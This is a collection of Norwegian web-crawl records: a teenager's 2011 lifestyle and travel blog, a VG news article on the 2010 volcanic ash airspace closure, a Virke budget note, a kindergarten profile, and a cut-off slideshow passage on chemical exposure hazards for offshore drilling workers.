{"url": "http://siriano.blogg.no/m_062011.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:13:52Z", "text": "## juni 2011\n\n### The Lazy Song\n\nAa, minnekortet der jeg filmet flyturen + frokostlaging i dag, funker ikke ta inn paa pc'en, siden det er et xD minnekort, men da maa jeg begynne aa filme med speilrefleksen, siden det har et SD minnekort.. Da betyr det at dere ikke faar se de videoene\u00a0 foer jeg kommer hjem igjen. Sorry for at jeg ikke har ae, oe, aa akkurat naa, men jeg gidder ikke aa copy-paste bokstavene, tar litt lang tid..  \n  \nDet har vaert storm i Vietnam i dag, men det har ikke begynt aa regne foer naa, foeler Bergensvaeret foelger etter oss, siden det ogsaa regner i Bergen.  \n  \nAntrekket jeg gaar med akkurat naa, er ganske saa kult, bruker det baade som pysj og som uteantrekk hvis jeg er for lat til aa kle paa meg ordentlig, kan filme en liten video i morgen eller ta et bilde hvis jeg ikke faar tid.  \n  \nDag 2 i Vietnam har bestaatt av altfor mye soving og sloeving\\! Har ogsaa spilt paa en **svart** Wii, utrolig stilig i forhold til den hvite Wii'en\\! Og har funnet ut at jeg ikke er flink paa aa fiske paa Wii..  \n  \n  \n  \n  \nph\\_Anh - www.enmulighet.blogspot.com  \n  \n\n\n  - 29.06.2011 kl.16:52 in Vietnam 2011\n### Bamboo\\!\n\nEr i Vietnam n\u013a og kl. er 10 om kvelden. Har\u00a0sittet p\u013a fly i over 15 timer, fra Bergen til Stockholm, videre til Bangkok og til slutt Ho Chi Minh City/Saigon. Har filmet mesteparten av reisen til Vietnam, s\u013a forh\u013apentligvis f\u013ar jeg lastet de opp innen uken er over. Vi har f\u013att l\u013ane pc'en til onkel 8, og s\u013a bor vi i et hus som onkel og tante har leid/kj\u0159pt for oss i tiden vi skal v\u0107re her..  \n  \nBefinner meg akkurat n\u013a i huset til onkel og tante 8, broren min ser p\u013a Harry Potter 4, mens s\u0159steren min og jeg snakker med folk gjennom ebuddy/skype, siden Vietnam har sperret facebook..  \n  \nF\u013ar ha et bildel\u0159st innlegg n\u013a, siden pappa har tatt kameraet med seg p\u013a s\u013ann g\u013atur.  \n  \n\n\n  - 28.06.2011 kl.16:58 in Vietnam 2011\n### Vlog: Sommerpause\n\nFilmet det p\u013a onsdag/torsdag, husker ikke helt, men ja, tar en liten pause :)  \n  \n  \n**God sommer alle sammen\\! WHOOP WHOOP\\!**\n\n### OUTFIT: Bryllupfest\n\nJeg har v\u0107rt i kirken siden 13-tiden og har ikke kommet hjem f\u0159r n\u013a, siden det har v\u0107rt posisjon og s\u013a spiste jeg kebab med noen venner siden vi var s\u013a sulten alle sammen..  \n  \nMen i hvert fall, gikk med dette p\u013a bryllupsfesten. Bryllupet hadde fargetemaet gult/lysegult, men jeg gikk en annen retning og valgte rosa istedenfor..  \n  \n  \n  \n  \n  \n\n\n  - 26.06.2011 kl.18:42 in Outfits\n### OUTFIT: Vietnamesisk nasjonaldrakt\n\nBle visst ikke noen flere innlegg i g\u013ar. Jeg trodde vi skulle hjem etter kirken i g\u013ar, men s\u013a skulle vi ikke det likevel, siden vi skulle hjem til bruden for \u013a tilbe de d\u0159de eller noe s\u013ant. Istedenfor \u013a v\u0107re med p\u013a dette, dro jeg ned til Theresa og de og var der istedenfor..  \n  \n  \nGikk med dette i kirken, den vietnamesiske nasjonaldrakten, bare for \u013a v\u0107re litt tradisjonell. Og h\u013aret mitt hadde kr\u0159ller, men da jeg kom hjem, s\u013a var de borte, hehe  \n  \n  \n  \n  \n  \nAntrekksbilder av hva jeg gikk med p\u013a festen kommer senere :)\u00a0  \n  \n\n\n  - 26.06.2011 kl.12:16 in Outfits\n### Harry Potter og Just Dance\n\nVar p\u013a s\u013ann vietnamesisk-sommerskole i dag, og det var fryktelig kjedelig. Heldigvis ble lilles\u0159steren min syk, s\u013a vi kunne dra hjem 3-4 timer tidligere. *whoop-whoop\\!  \n  \n  \nph\\_Anh - www.enmulighet.blogspot.com  \n  \n*Anh tok dette bildet av meg i g\u013ar, elsker Harry Potter, og vil egentlig ikke dra p\u013a ferie, siden jeg vil f\u013a med meg premieren av den siste HP-filmen. Blir trist av \u013a tenke p\u013a det. Og hvis du ikke har h\u0159rt/sett det allerede, s\u013a lanserte J.K. Rowling en ny nettside i dag som heter pottermore\u00a0og vil bli \"\u013apnet\" i oktober.*  \n\u00a0  \nSenere blir det kanskje litt skyping med Anh og hele gjengen hos N, og s\u013a skal vi se hvem som er best p\u013a Katti Kalandal p\u013a Just Dance2  \n  \n  \n*\n  - 23.06.2011 kl.17:20 in Interests\n### Video: How To: The Milk Maid Braid\n\nHvordan lage \"*The Milk **MAID\u00a0**Braid\".  \n  \nlol, mente \"milk maid\", ikke \"milk\"  \n\n\n### Summer Lovin'\n\nKom nettopp hjem n\u013a etter \u013a ha spist lunsj med jentene hjemme hos S. Kjempekoselig og kjempeg\u0159y\\! Lunsjen var utrolig god, og senere, spilte vi et dansespill p\u013a PS2. Da kom det mange minner fram, for de aller fleste sangene var fra 80-,90-tallet, som den chihuahua-sangen, forskjellige Kylie Minogue-sanger osv..  \n  \nSommerferien n\u0107rmer seg, og da vil jeg skrive et lite sommerinnlegg.  \n  \n\u00a0  \n  \n*Bryan Adams -* *Summer of '69*****  \n**  \n  \n  \n***Postgirobygget -*** *En solskinnsdag*  \n  \n  \n  \n***Postgirobygget -*** *Idyll*  \n  \n  \n***DeLillos -*** *Neste Sommer*  \n  \n  \n***Grease -*** *Summer Nights  \n  \n//*bilder fra weheartit - s\u0159kte p\u013a summer, sun, bikini og tan  \n***Har du noen favorittsommersanger?***  \n  \n*\n\n  - 20.06.2011 kl.18:25 in Inspiration\n### Vlog: Bikini, Marc By Marc Jacobs & mer\n\nEr hjemme n\u013a\\!  \n  \nVar p\u013a en avslutning med mange gulinger, utrolig koselig, men ogs\u013a stress/slitsomt med tanke p\u013a de sm\u013a ungene som var der. Absolutt m\u013atte jeg hjelpe dem med \u013a ta ketshup p\u013a p\u0159lsene, absolutt m\u013atte jeg b\u0107re dem n\u013ar de tilfeldigvis \"havnet\" p\u013a steinene.. men men, det var g\u0159y \u013a v\u0107re med venner, bade, spise god mat osv\\!  \n  \nVideoen som jeg skulle poste i dag morges:\n\nBlogger nevnt: Mea -\u00a0http://www.meaandmore.com/\n\n  \nN\u013a er det Just Dance 2 med mine s\u0159sken\\!\\!  \n  \n**Noen video\u0159nsker?**  \n\n\n\u00a0\n### Ny bikini\n\n*Kommer til \u013a snakke mer om bikinien n\u013ar jeg kommer hjem, siden jeg ikke har tid til det n\u013a, skal m\u0159te i byen kl. 09.30. ***Ha en superfin l\u0159rdag\\!**  \n\u00a0  \n  \n*\n\n  - 18.06.2011 kl.09:08 in Fashion\\&Trends\n### Lite Innkj\u0159p: Gina Tricot\n\nKj\u0159pte ikke mye i g\u013ar, selv om jeg pr\u0159vde utrolig mange plagg.. Kl\u0107rne ser liksom veldig fine ut p\u013a stativene, men blir ikke like fine p\u013a, litt trist egentlig  \n  \nMen jeg kj\u0159pte en knallrosa genser som f\u0159lger colorblocking-trenden, og et high-wasted skj\u0159rt som kind of f\u0159lger tribal-trenden.  \n  \n  \n  \n  \n  \nN\u013a skal jeg ikke kj\u0159pe noe mer f\u0159r jeg reiser\\!  \n\n\n  - 17.06.2011 kl.14:04 in Haul\\&Buys\n### Pretty Little Liars sesong 2\\!\n\nYey\\! Skal nyte denne herlige dagen med \u013a se p\u013a den f\u0159rste episoden i den nye PLL sesongen\\!  \n  \nHar lest b\u0159kene, og de er\u00a0**veldig** forskjellige fra serien\\!\u00a0  \n  \n  \n  \n  \n  \n  \n**F\u0159lger du med p\u013a PLL? Hvem er din favoritt Liar?  \n**\n\n\u00a0\n\n  - 15.06.2011 kl.19:32 in Interests\n### wohoooo\\!\n\nJeg er s\u013a **sinnsykt** glad n\u013a\\!\\!\\! Kom nemlig ikke opp i muntlig eksamen, og hvis jeg hadde kommet opp, s\u013a ville det v\u0107rt i samfunnsfag, og da ville jeg seri\u0159st d\u0159dd\\! Hater samfunnsfag av (nesten) hele mitt hjerte, og f\u0159ler l\u0107reren hater meg ogs\u013a..\u00a0  \n  \nAnyways, jeg har sommerferie n\u013a\\!\\! Ikke mer skole, alt som gjenst\u013ar en avslutning med klassen p\u013a Peppes p\u013a tirsdag, og hvis jeg gidder, s\u013a kommer jeg p\u013a skolen p\u013a onsdag og henter karakterene\\!\n\n**Love My Life\\!\u00a0\u2665**  \n  \nHelgen blir helt klart bedre\\! Og det samme med neste uke\\! Grilling, piknik, bading og kos\\! \u00a0  \n  \n\n\n  - 15.06.2011 kl.18:05 in Other\n### Gul & Kul Regnjakke\n\nSjekk den kule regnjakken mamma kj\u0159pte til meg\\! Awesome gulfarge, perfekt til og brukes her i Bergen, spesielt i dag, siden det p\u0159ser ned\\!  \n  \nJakken er fra merket Land's End.  \n  \n  \n  \n  \n  \n  \n**Hva synes du om jakken?\u00a0  \n**\n\n*Jeg skiftet til shorts og singlet da jeg skulle sole meg, gikk ikke i playsuiten, hehe  \n*  \n**Hvilken neglelakk likte du best? Skal jeg ha s\u013anne videoer for hver \u013arstid?**\u00a0  \n\n\n  - 13.06.2011 kl.17:00 in Nails\\&Design\n### OUTFIT: Bryllup 11.06.11\n\nSkulle egentlig poste outfitbilder fra bryllupet etter at jeg kom hjem fra kirken i g\u013ar, men s\u013a endte det opp med at jeg var med noen venner istedenfor, og kom ikke hjem f\u0159r 11-tiden. Tenkte egentlig bare \u013a spille Wii hjemme hos TT, men vi var litt spontane, jeg l\u013ante en shorts av Anh, og s\u013a dro vi og\u00a0badet i den samme innsj\u0159en som p\u013a l\u0159rdag, vi fikk C ut i og, siden det var for kaldt for ham p\u013a l\u0159rdag. \u00a0  \n  \nEtter badingen, dro vi tilbake til TT sitt hus, og spilte Fantasi og wii. Og jeg ler fremdeles n\u013ar jeg tenker p\u013a S sine tegninger. Hun skulle tegne Australia og Italia, og begge tegningene ble like, bare at Italia sin tegning var litt mindre, hehe..  \n  \nHvis Anh sender meg bilder, s\u013a skal jeg f\u013a se om jeg f\u013ar lagt dem ut senere.  \n  \nAnyways, bilder av det jeg gikk med p\u013a l\u0159rdag..  \n  \n  \n  \n  \n  \n  \n  \n  \n  \n**Hva synes du om antrekket? Har du badet i sj\u0159en enda?**  \n\n\n  - 13.06.2011 kl.12:40 in Outfits\n### Gj\u0159r-Det-Selv S\u0159ndag: H\u013arb\u013and m/st\u013altr\u013ad\n\nDere har kanskje sett h\u013arb\u013andene H\\&M har f\u013att inn? De som er laget av fint og luftig stoff med en st\u013altr\u013ad inni? Anyways, bestemte meg for \u013a lage noen selv, istedenfor \u013a kj\u0159pe dem. De koster 29,90 p\u013a H\\&M, egentlig ganske billig, men siden jeg fant noen gamle pysjbukser og vi hadde st\u013altr\u013ad hjemme, s\u013a brukte jeg i grunn ingenting p\u013a \u013a lage dem..  \n  \n  \n  \n*FYI: Jeg filmet hele* prosessen, *men da jeg h\u0159rte p\u013a klippene, s\u013a h\u0159rtes stemmen min ut som en mann, siden jeg er forkj\u0159let.. Siden jeg ikke tok bilder mens jeg lagde b\u013andene, s\u013a m\u013atte jeg printscreen'e klippene, derfor d\u013arlige bilder.*  \n  \n  \n  \n**Du trenger:  \n\\-** Stoff,\u00a0  \n\\- St\u013altr\u013ad som er b\u0159yelig  \n\\- saks, symaskin og alt det der  \n\\- evt. blonder\u00a0\n\n**------  \n  \n1,** Det f\u0159rste du gj\u0159r er \u013a m\u013ale omkretsen av hodet ditt. N\u013ar du har gjort dette, plusser du p\u013a ca. 7-8 cm som skal v\u0107re lengden p\u013a b\u013andet. Bredden p\u013a b\u013andet skal v\u0107re omtrent 6-7 cm alt etter hvor bredt du vil b\u013andet skal v\u0107re. ***HUSK\\!:*** *Det skal brettes i to\\!*  \n  \n**2.** N\u013ar du har m\u013alene, klipper du ut firkanten.  \n  \n**3.** Dette steget er frivillig. Hvis du vil ha blonder p\u013a, s\u013a plass\u00e9r blondeb\u013andet p\u013a midten av \"hovedb\u013andet\" og sy det p\u013a. Sy langs kantene av blondeb\u013andet.  \n  \n**4.** Det neste du gj\u0159r er \u013a klipp en liten \"pil\" p\u013a hver ende av firkanten. Deretter folder du b\u013andet sammen, med utsiden vendt inn.\u00a0  \n  \n**5.** N\u013ar du syr i steg 5, husk \u013a la den ene enden v\u0107re usydd, slik at du f\u013ar plassert st\u013altr\u013aden inni. Vreng h\u013arb\u013andet, slik at innsiden kommer ut.  \n  \n**6.** N\u013a skal du plassere st\u013altr\u013aden inni h\u013arb\u013andet. St\u013altr\u013aden skal v\u0107re s\u013a tynn at den kan b\u0159yes, og s\u013a tykk at den ikke knekker. For at h\u013arb\u013andet ikke skal f\u013a hull, s\u013a ta litt stoff rundt endene og teip disse.\u00a0  \nTa st\u013altr\u013aden i h\u013arb\u013andet og sy enden sammen.  \n  \n**Ta-daa\\! Du er ferdig\\!  \n**\u00a0  \n  \n  \nH\u013arb\u013andene vil jeg bruke noenlunde slik som p\u013a bildet over, men dette har jeg \"knytt\" sammen til en rose. Jeg har ogs\u013a laget et h\u013arb\u013and uten blonder, det jeg brukte i This-or-That-videoen.  \n  \n**Likte du DIY'en?**  \n\u00a0\n\n  - 12.06.2011 kl.11:54 in DIYs\n### Bryllup + Bading\n\nSkal i bryllup n\u013a kl. 13.00 og senere skal jeg bade med venner, hvis v\u0107ret blir fint\\! Har litt d\u013arlig tid n\u013a, s\u013a vi snakkes\\!  \n  \n  \nSkal ta outfitbilder n\u013ar jeg kommer hjem\\!  \n  \n\n\n  - 11.06.2011 kl.11:59 in Other\nTenkte \u013a filme en liten TAG-video, siden jeg har sett p\u013a altfor mange, men ikke gjort noen selv..  \n  \nTrykk p\u013a videoen og p\u013a mer info for \u013a se sp\u0159rsm\u013alene.. Blir s\u013a langt innlegg hvis jeg har dem her.  \n  \nDenne helgen blir veldig travel for meg\\! S\u013a jeg vet ikke om jeg f\u013ar blogget \u00a0i morgen, men kommer mest sannsynlig til \u013a blogge p\u013a s\u0159ndag :)  \n  \n**Vil du ha fler TAG-videoer?**  \n\u00a0\u00a0\n\n### Baked Some Buns\n\nHar bakt boller fylt med vaniljekrem i dag, siden det er en stund siden jeg har bakt\\! De ble superluftige og kjempegode\\! *nomnom*  \n  \n  \n  \n  \n  \n  \n  \n\nBare en random vlog til dere\\!  \n  \n  \n\u00a0\n\n### Gettin' Crazy\\!\\!\n\nHar brukt \u013ar og dager p\u013a \u013a laste opp videoen p\u013a youtube, og det er enda en halvtime igjen f\u0159r den er ferdig opplastet.  \nJeg g\u013ar og legger meg n\u013a, er sykt tr\u0159tt, s\u013a hvis du vil se den n\u013a, i dag, s\u013a g\u013a innom YT-kanalen min om en halvtime..  \n  \n**God natt dere\\! Dr\u0159m s\u0159tt,** *hehe*  \n\u00a0\n\n### Eye.Heart.You.Kiss\n\nJeg som kom p\u013a skolen p\u013a mandag og trodde jeg skulle v\u0107re her hele uken\\! N\u013a er jeg ikke noe annet enn superglad, fordi jeg ikke skal p\u013a skolen mer denne uken\\! Det vil si en *sykt lang langhelg\\!*  \n  \nHar ikke skole i morgen fordi l\u0107reren v\u013ar skal ha eksamen, og s\u013a (n\u0107rmest) tryglet vi l\u0107reren v\u013ar i matte og tysk om \u013a f\u013a selvstudium, og det samme med torsdagen. Dette er da den korte versjonen. P\u013a fredag ville det v\u0107rt fri uansett, siden 3. klasse skal ha muntlig.\u00a0  \n  \nOg hvis jeg kommer p\u013a skolen p\u013a onsdag og de sier jeg skal ha muntlig eksamen, s\u013a vet jeg ikke hva jeg skal gj\u0159re. Har v\u0107rt i feriemodus i en m\u013aned n\u013a og er skikkelig skolelei.  \n  \nMen det positive er mer blogging og videoer\\! Planlegger en video i morgen som jeg enda ikke vet hva skal handle om, *we'll see.  \n*  \n  \n*Eye. Heart.You.Blowkiss*  \n  \n\n\n  - 07.06.2011 kl.20:28 in Other\n### VIDEO: NEGLEDESIGN: Vannmelon\n\nEndelig er videoen ferdig redigert og lastet opp\\!  \n  \nDenne ukens DIY blir da et negledesign, og det er VANNMELON inspirert\\! Er ikke superforn\u0159yd med resultatet, men det funker.\u00a0  \n  \nJeg pr\u0159vde meg p\u013a en liten voice-over som Michelle Phan gj\u0159r p\u013a de fleste videoene sine.. Synes det blir bedre s\u013ann istedenfor at det blir masse pauser og stillhet n\u013ar jeg snakker i videoen.  \n  \n  \n*Sorry for uklare/ufokuserte deler, men jeg skj\u0159nner meg fremdeles ikke p\u013a kameraet.  \n***Sang: Bryan Adams -** Summer of '69  \n  \n  \n**Hva synes du om negledesignet?**  \n\n\n  - 05.06.2011 kl.16:40 in Nails\\&Design\nHei s\u0159tfolk\\!\u00a0  \n  \nVar i to konfirmasjonsfester i g\u013ar, og derfor ble det ikke noe blogging, og heller ikke p\u013a onsdag siden jeg skulle hjelpe hun ene som skulle konfirmere seg \u013a pynte til festen hennes. Det var to utrolig koselige og g\u0159ye fester\\! Spiste veldig god mat og kake\\!  \n  \n  \n  \n  \n", "language": "no", "__index_level_0__": "27b628a8-b701-4f69-b40b-3a07afab4984"}
{"url": "https://www.vg.no/nyheter/innenriks/luftfart/vulkanasken-kan-vare-i-ukevis/a/10000786/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:36:15Z", "text": "Antall kommentarer p\u00e5 artikkelen   (VG Nett)  15.04.2010 14:28 - oppdatert 16.04.2010 14:38\nREGJERINGSKVARTALET (VG Nett) Luftrommet over Norge er stengt som f\u00f8lge av vulkanaske fra Island. Det kan bli langvarig.\n\n## Denne saken handler om:\n\n  - Luftfart\n  - Vulkanasken fra Island\n\nHelse- og samferdselsministrene, Luftfartstilsynet, Helsedirektoratet, Folkehelseinstituttet og Avinor holdt torsdag ettermiddag pressekonferanse der de orienterte om myndighetenes h\u00e5ndtering av utfordringene knyttet til vulkanasken fra Island.\n\nSiste melding fra Avinor er at flytrafikken er stoppet minst frem til klokken 02.00 natt til fredag. Ogs\u00e5 flere andre steder i Europa, blant annet i Storbritannia, er flytrafikken n\u00e5 lammet. If\u00f8lge Eurocontroll er rundt en firedel av all flytrafikk i Europa torsdag innstilt p\u00e5 grunn av vulkanaske fra Island. De sier ogs\u00e5 at forstyrrelsene i flytrafikken vil vare minst i 48 timer.\n\nNorske myndigheter opplyste p\u00e5 sin pressekonferanse i dag at det kan vare i ukesvis.\n\n*Artikkelen fortsetter under bildet...*  \n\n\n\n\\- Det vulkansk aske gj\u00f8r med et fly kan sammenlignes med \u00e5 utsette det for sandbl\u00e5sing, forteller inspekt\u00f8r Bruno Arntsen i SAS Tech p\u00e5 Gardermoen til NTB.\n\n\\- Det kan v\u00e6re alt fra at passasjervinduene blir ripete til langt verre ting, forklarer Arntsen. N\u00e5r flyet m\u00f8ter aske i h\u00f8y fart kan det ogs\u00e5 gj\u00f8re at frontruten blir s\u00e5 oppripet at det ikke g\u00e5r an \u00e5 se gjennom den.\n\nDet aller verste vulkansk aske kan f\u00f8re til, er motorstans.\n\n**Helse-Norge styrket langs bakken**\n\nHelseminister Anne-Grete Str\u00f8m-Erichsen sier at situasjonen har f\u00f8rt til konsekvenser for helse-Norge, som derfor er satt i beredskap.\n\n\\- Vi vil ta alle mulige grep for \u00e5 sikre befolkningens liv og helse. Men dette f\u00e5r konsekvenser for luftambulanse, helikopter og fly. Vi \u00f8ker derfor bakkemannskapene ved flere biler og omdisponering av personell. Vi har ogs\u00e5 et utvidet nordisk samarbeid, forteller ministeren.\n\nHun forklarer videre at man ogs\u00e5 forbereder seg p\u00e5 at dette kan vare en stund.\n\n\\- Faktisk i ukevis, sier hun.\n\nHvilke konsekvenser det kan f\u00e5 var det ingen som kunne svare sikkert p\u00e5.\n\n\\- Det er vanskelig \u00e5 forutsi, sier samferdselsminister Magnhild Meltveit Kleppa.\n\n**PROTOKOLL: Hvordan rammes du?**\n\n\n\nAvinor-direkt\u00f8r Sverre Quale er ikke optimist med tanke p\u00e5 utviklingen.\n\n\\- Vi h\u00f8rer fra Meteorologisk institutt at dette kan vare en stund, sier han.\n\n**- Alvorlig**\n\nLuftambulansen har 50 flyvninger i d\u00f8gnet. Dermed kan dette f\u00e5 alvorlige konsekvenser, men statsr\u00e5den sier at de gj\u00f8r sitt ytterste for \u00e5 unng\u00e5 dette.\n\n\\- Vi har ogs\u00e5 hatt dialog med Forsvaret som vil bist\u00e5 dersom det er n\u00f8dvendig.\n\n\\- Situasjonen er mer alvorlig enn det vi vanligvis har h\u00e5ndtert av avstenginger av luftrommet. Vi har erfaring med at luftambulansene ikke kan fly, men ikke at det er stengt over hele landet og v\u00e5re naboland slik som n\u00e5, sier assisterende direkt\u00f8r i Helsedirektoratet Bj\u00f8rn Gullv\u00e5g, som forklarer at det s\u00e6rlig er i deler av landet med store avstander man n\u00e5 styrker ambulansetjenesten p\u00e5 bakken.\n\n*Artikkelen fortsetter under bildet.*  \n\n\n\n**Ikke farlig drikkevann**\n\nForel\u00f8pig har ikke asken f\u00e5tt konsekvenser for drikkevann, eller beite for dyr, eller lignende.\n\nHelsedirektoratet sier at folk ikke trenger \u00e5 bekymre seg for partikler fra asken.\n\n\\- Forel\u00f8pig er det bare luftrommet som er rammet, men vi overv\u00e5ker situasjonen n\u00f8ye, og vil kontinuerlig legge ut informasjon p\u00e5 v\u00e5re hjemmesider, sier Bj\u00f8rn Gullv\u00e5g, som legger til at stengingen av luftrommet s\u00e5 langt ikke har f\u00e5tt alvorlige konsekvenser.\n\nSamferdselsminister Magnhild Meltveit Kleppa sier hun har forst\u00e5else for vanskene stengingen av luftrommet har f\u00f8rt til b\u00e5de for vanlige folk og n\u00e6ringsliv.\n\n\\- Men dette er h\u00f8yst n\u00f8dvendig. Hensynet til helse og sikkerhet g\u00e5r f\u00f8rst, sier Kleppa.\n\nOgs\u00e5 hun antyder at stengingen kan vare i flere dager.\n\n\\- I praksis vil luftrommet v\u00e6re stengt ogs\u00e5 hele fredag, sier hun.\n\n\n\n## Kommentarer Antall kommentarer p\u00e5 artikkelen \n\nHar du en mening om denne artikkelen? Du m\u00e5 bruke ditt eget navn hvis du skal delta i debatten. Respekter andres meninger og husk at mange kan se hva du skriver. Brudd p\u00e5 reglene kan f\u00f8re til utestengelse.  \n\n**VGs journalister og moderatorer overv\u00e5ker denne debatten kontinuerlig mellom kl. 07 og 24.** Kommentarfeltet er n\u00e5 stengt og \u00e5pner igjen kl. 07.00. Velkommen tilbake da\\!\n\n", "language": "no", "__index_level_0__": "2ee327c7-06f4-4827-afc4-9f820bf82ab3"}
{"url": "https://www.virke.no/var-politikk/statsbudsjett/statsbudsjett-2014/mva-kompensasjon-innfridd/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:48:02Z", "text": "#  Statsbudsjett 2014  Mva-kompensasjon innfridd\n\nPublisert: 14.10.2013\n\n\u200bMva-kompensasjon til frivillige organisasjoner \u00f8kes med 252 millioner kroner i statsbudsjettet for 2014. Dermed innfrir regjeringen m\u00e5let om opptrapping til 1,2 milliarder kroner i mva-kompensasjon i 2014.\n\n\n\n\u200b\u2013 Hensikten med mva-kompensasjon er at frivilligheten kan bruke sine midler p\u00e5 aktiviteter, ikke p\u00e5 moms til staten. \u00d8kningen i statsbudsjettet for 2014 er i tr\u00e5d med opptrappingsplanen som Virke har kjempet, sier direkt\u00f8r Torbj\u00f8rg Aalborg i Virke Ideell.\n\n## Kommentarer\n\n", "language": "no", "__index_level_0__": "04db2c82-9813-46d6-8d9f-b4426c6dc6e1"}
{"url": "http://sten-tarud.norlandiabarnehagene.no/Innhold/Side/23251", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-24T23:45:43Z", "text": "# Om Norlandia Sten-T\u00e6rud barnehage\n\nSten-T\u00e6rud barnehage ligger p\u00e5 Skedsmokorset, rett ved siden av Sten-T\u00e6rud skole. Barnehagen \u00e5pnet i mai 2006 og har plass til 107 barn, fordelt p\u00e5 6 avdelinger.\n\n\n\nVi er s\u00e5 heldige \u00e5 ha et helt fantastisk bygg til disposisjon. Her er det godt tilrettelagt b\u00e5de for barna og for de ansatte. Vi har mange lekerom og store arealer for barna, og vi har store m\u00f8terom og arbeidsrom for de ansatte. Barnehagen er fint innredet og den b\u00e6rer preg av at b\u00e5de inventar og leker er nytt og moderne.\n\nBarna i barnehagen har tilh\u00f8righet til sin egen avdeling, der\u00a0er de\u00a0godt kjent med de andre barna og de voksne. Samtidig er barnehagen lagt til rette slik at barna har gode muligheter til \u00e5 utforske andre avdelinger og fellesrom i sitt eget tempo. De kan fritt velge hvor de vil leke, hva de vil holde p\u00e5 med og hvem de vil v\u00e6re sammen med. Vi er opptatt av at barnas innspill skal bli tatt p\u00e5 alvor og vi lager gjerne sm\u00e5 og store prosjekter ut fra barnas innspill. Samtidig ser vi viktigheten av voksenstyrte aktiviteter, derfor benytter vi gjerne anledningen n\u00e5r mange barn er p\u00e5 tur til \u00e5 ha aktiviteter i grupper med de som er igjen i barnehagen. Alle barna er p\u00e5 tur minst en dag i uka, da vi \u00f8nsker at barna skal bli kjent i n\u00e6rmilj\u00f8et og f\u00e5 positive naturopplevelser.\n\nVi er en allsidig personalgruppe og har h\u00f8y pedagogtetthet (9 f\u00f8rskolel\u00e6rere), der vi benytter personalressursene til det beste for barnehagen.\n\nI Sten-T\u00e6rud barnehage er vi opptatt av at hverdagen skal v\u00e6re preget av humor og glede\\!\\!\n\n**I Sten-T\u00e6rud barnehage kjennetegnes personalet ved at den enkelte:**\n\n  - ser verdien i alle typer lek\n  - ser hvert enkelt barn\n  - viser faglig stolthet og engasjement\n  - reflekterer over egen rolle og er bevisst sitt bidrag\n  - er fleksible, lojale, rause og humoristiske\n  - samarbeider p\u00e5 tvers av avdelinger\n  - byr p\u00e5 seg selv\n  - er opptatt av \u00e5 forbedre og utvikle egen praksis\n\n**Sten-T\u00e6rud barnehage tilbyr:**\n\n  - et sosialt milj\u00f8, turer og sammenkomster\n  - et spennende, positivt og utviklende fagmilj\u00f8\n  - muligheter for nettverk med \u00f8vrige barnehager\n  - tariffavtale med Private Barnehagers landsforbund\n  - konkurransedyktige forsikringsordninger og l\u00f8nnsbetingelser\n\n\u00a0\n", "language": "no", "__index_level_0__": "02973ce9-6fcf-493b-a737-2cdb95e4a597"}
{"url": "http://slideplayer.no/slide/2622431/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-24T23:58:05Z", "text": " 3  2. Drilling DFO St\u00f8v ved miksing \u2013 luftveisplager (tett nese, rennende nese, hoste). Kan i verste fall f\u00f8re til kroniske plager som redusert lungekapasitet (fibrose) og astma. Oljet\u00e5ke/oljedamp \u2013 luftveisplager, redusert lungekapasitet. Mud \u2013 hudplager som eksem og allergi. Roughneck Oljet\u00e5ke/oljedamp - luftveisplager, redusert lungekapasitet. Mud \u2013 allergi og andre hudplager. St\u00f8v ved miksing \u2013 luftveisplager (se over). Rigwash (og mud/st\u00f8v) - rengj\u00f8ring ved h\u00f8ytrykkspyling gir sm\u00e5 dr\u00e5per som spres i alle retninger. Disse kan trenge dypt ned i lungene og for\u00e5rsake skader. Ass.driller Samme som roughneck, men noe mindre eksponering pga opphold i drillerbu. St\u00f8v ved miksing av boreslamskjemikalier ble m\u00e5lt og verdiene var over 100 % av tiltaksverdi. Her er det viktig \u00e5 rotere arbeidet og bruke hel/halvmaske med P2 st\u00f8vfilter samt briller. . Kan i verste fall f\u00f8re til kroniske plager som redusert lungekapasitet (fibrose) og astma. Oljet\u00e5ke/oljedamp \u2013 luftveisplager, redusert lungekapasitet. Mud \u2013 hudplager som eksem og allergi. Roughneck. Oljet\u00e5ke/oljedamp - luftveisplager, redusert lungekapasitet. Mud \u2013 allergi og andre hudplager. St\u00f8v ved miksing \u2013 luftveisplager (se over). Rigwash (og mud/st\u00f8v) - rengj\u00f8ring ved h\u00f8ytrykkspyling gir sm\u00e5 dr\u00e5per som spres i alle retninger. Disse kan trenge dypt ned i lungene og for\u00e5rsake skader. Ass.driller. Samme som roughneck, men noe mindre eksponering pga opphold i drillerbu. St\u00f8v ved miksing av boreslamskjemikalier ble m\u00e5lt og verdiene var over 100 % av tiltaksverdi. Her er det viktig \u00e5 rotere arbeidet og bruke hel/halvmaske med P2 st\u00f8vfilter samt briller.\")  \n\nHydraulikkoljer, giroljer, motoroljer. Eksem og utslett, ogs\u00e5 rapportert nerveskadelig effekt ved langvarig bruk. Mud \u2013 eksponering for mud ved reparasjoner. Motorman Etsende kjemikalier bl.a. ved behandling av vann. Biocider \u2013 akutt giftig, allergi ved hudkontakt. Sveiser Sveiser\u00f8yk - Sveising p\u00e5 svart st\u00e5l: luftveisirritasjoner, astma, metallfeber, lungebetennelse, KOLS. Sveising p\u00e5 rustfritt st\u00e5l \u00f8ker i tillegg risikoen for kreft. Slipest\u00f8v \u2013 samme som over. Alle Lim, spray, og andre vedlikeholdskjemikalier: Kjemikalier som brukes kortvarig, men noen av disse kan likevell gi utslett, allergi og luftveis/\u00f8yeirritasjoner. Sjekk HMS databladet og bruk anbefalt verneutstyr. Sveiser\u00f8yk: type skade avhenger av hva det sveises p\u00e5, og hvilken sveisemetoder som brukes. Overnevte helseeffekter er bare noen. Hvis det i tillegg sveises p\u00e5 overflatebehandlet materiale (gammel maling) kan det frigj\u00f8res bly og isocyanater.  kan det 